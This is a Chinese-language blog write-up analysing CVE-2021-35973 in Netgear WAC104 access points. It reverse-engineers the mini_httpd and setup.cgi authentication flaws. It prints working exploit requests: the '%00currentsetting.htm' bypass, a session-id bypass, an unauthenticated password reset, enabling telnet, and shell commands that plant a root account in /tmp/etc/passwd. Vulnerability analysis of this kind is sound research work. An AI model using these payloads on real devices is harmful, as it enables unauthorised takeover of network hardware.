OneShell

I fight for a brighter tomorrow

0%

CVE-2021-35973 Netgear wac104 身份认证绕过

漏洞分析

最直观的方式,是先看POC,得到大概利用思路,再进行静态分析,然后拿真实设备调试(咸鱼)。

http认证绕过

使用的后端是mini_httpd,一个小型的嵌入式后端服务器,常见的还有lighthttpd、httpd等等,或者直接通过一些脚本例如lua来充当后端也是存在的。

通过在URL中附加%00currentsetting.htm来达到身份认证绕过,本来一开始以为是类似于之前的Netgear的一个身份认证绕过,通过strstr()此类函数直接判定URL中包含一些全局资源,然后无条件返回请求的资源,但是,并不是这样的,而是currentsetting.htm字段会触发一个判定标志,这个标志=1会直接使判定通过。这个标志在http解析流程中一共有三个被赋值的地方,分别是:

  1. 在从00407A28开始的函数,也就是http的处理流程,当header的解析时,当SOAPAction字段包含特定的字符串urn:NETGEAR-ROUTER:service

undifined

  1. 在函数从00407A28地址开始,同样在http解析流程中,当请求URL中包含字符串setupwizard.cgi

undifined

  1. 还是在这个http处理的函数中

undifined

但是前两个产生的标志位,出现在函数的比较靠前位置,都会导致程序的提前中止,就不能达到绕过的效果,第三个则相对靠后,不会退出。

undifined

因此可以通过构造如下的请求,对任意页面进行未授权访问:

1
GET /file-to-access%00currentsetting.htm HTTP/1.1

发生在setup.cgi中的sesstion id认证绕过

在main函数的代码开头,如果是POST方法,紧接下来就是对于/tmp/SessionFile文件的读取。先从POST请求中获取id字段的值,然后通过一个子函数sub_403F04/tmp/SessionFile中读取存在系统中的id,二者进行比较。如果相同则通过了id的校验。验证逻辑关键代码如下:

1
2
3
4
5
6
7
8
id_loc = strstr(post_data, "id=");
if (id_loc) {
id_from_post = strtol(id_loc + 3, &v19, 16); // 字符串转换成长整数, v19指向处理完id后的字符串
if(v19 && strstr(v19, "sp=")) // 根据id和sp字段寻找session_file
snprintf(session_file, 128, "%s%s", session_file)
if (id_from_post == sub_403F04(session_file))
goto verify_success_label;
}

但是在子函数sub_403F04中存在逻辑上的问题,如果session_file不存在,id_from_file会直接返回0。那么,就可以通过构造id=0&sp=ABC这种肯定找不到session_file的字段,从而达到id_from_post == id_from_file == 0验证通过。

1
2
3
4
5
6
7
8
9
int sub_403F04(char* session_file) {
id_from_file = 0;
File* f = fopen(session_file, "r");
if (f) {
fscan(f, "%x", &id_from_file);
fclose(f);
}
return id_from_file;
}

setup.cgi未检验密码修改

整个cgi的处理流程大概是,当用户通mini_httpd登录,mini_httpd会将请求方式和请求附加参数写入到环境变量中,cgi读取环境变量REQUEST_METHOD获取请求方式,例如GET或POST;读取QUERY_STRING获取请求参数;然后通过写入能唯一标识会话的一些参数到文件中,用于会话管理。最后就是具体的对用户发送的数据进行处理。这个流程可以在setup.cgi文件逆向的main函数中查看,还是比较清晰明了。

在CVE作者的分析文章里面,有提到是通过cgi的哪一个接口直接修改密码的,我也定位到了这个函数sub_40808。但是,这个函数在cgi中没有被调用过?那么作者是如何得到这个接口的呢,直接通过抓包么。先直接给出payload,通过构造如下的方式可以重新设置密码。

1
2
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin

对于sub_40808的逆向,流程也很简单,检查两次输入的新密码是否相同,如果相同,就写入到NVRAM中的http_password中。但是如果要永久更改admin账号的密码到/etc/passwd和/etc/htpasswd中,可以通过如下两种方式之一:

  1. 重启设备,可以通过调用接口/setup.cgi?todo=reboot,将密码写入到/etc/passwd和/etc/htpasswd中
  2. 调用接口/setup.cgi?todo=save_passwd将密码写入到文件中

猜测这两个接口,是因为有路由器真实设备,在初始化的时候,第一次设置密码,通过分析交互http数据包得到的。

/tmp/etc目录权限管理

可以通过setup.cgi开启路由器的telnet,结合之前的mini_httpd和setup.cgi的认证绕过,请求/setup.cgi?todo=debug。此时通过telnet登录得到的权限是admin权限,而不是root权限。但是因为/tmp/etc目录权限管理的问题,可以在/tmp/etc/passwd中添加一个root权限的账号。操作如下:

1
2
3
4
5
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd

出现问题的原因是分析如下,/etc/目录通过软链接到了/tmp/etc/目录,而/tmp/etc/目录的权限是777。

undifined

undifined

那么admin权限的用户不能更改/etc/passwd文件,因为这是被root拥有的且权限为644(rw-r–r–)。但是admin权限的用户可以创建一个新的passwd文件,然后通过如上的方式,添加root权限账号。

这是执行了添加root权限操作后的文件属性。

undifined

小结

通过如上一系列的攻击链,先通过http的认证绕过,可以访问到setup.cgi;但是setup.cgi的操作也是存在sessionID认证,于是再次进行认证绕过;而且通过分析setup.cgi提供的接口,发现可以任意修改admin权限的登录密码,还可以开启调试模式的telnet;虽然这个时候通过telnet登录上去的是一个admin权限(非root),但是恰好由于/etc/里面的文件权限管理的问题,可以添加root权限的账号和密码。

那么这一系列的操作下来,就达到了一个未授权RCE漏洞。太强了太强了。

参考链接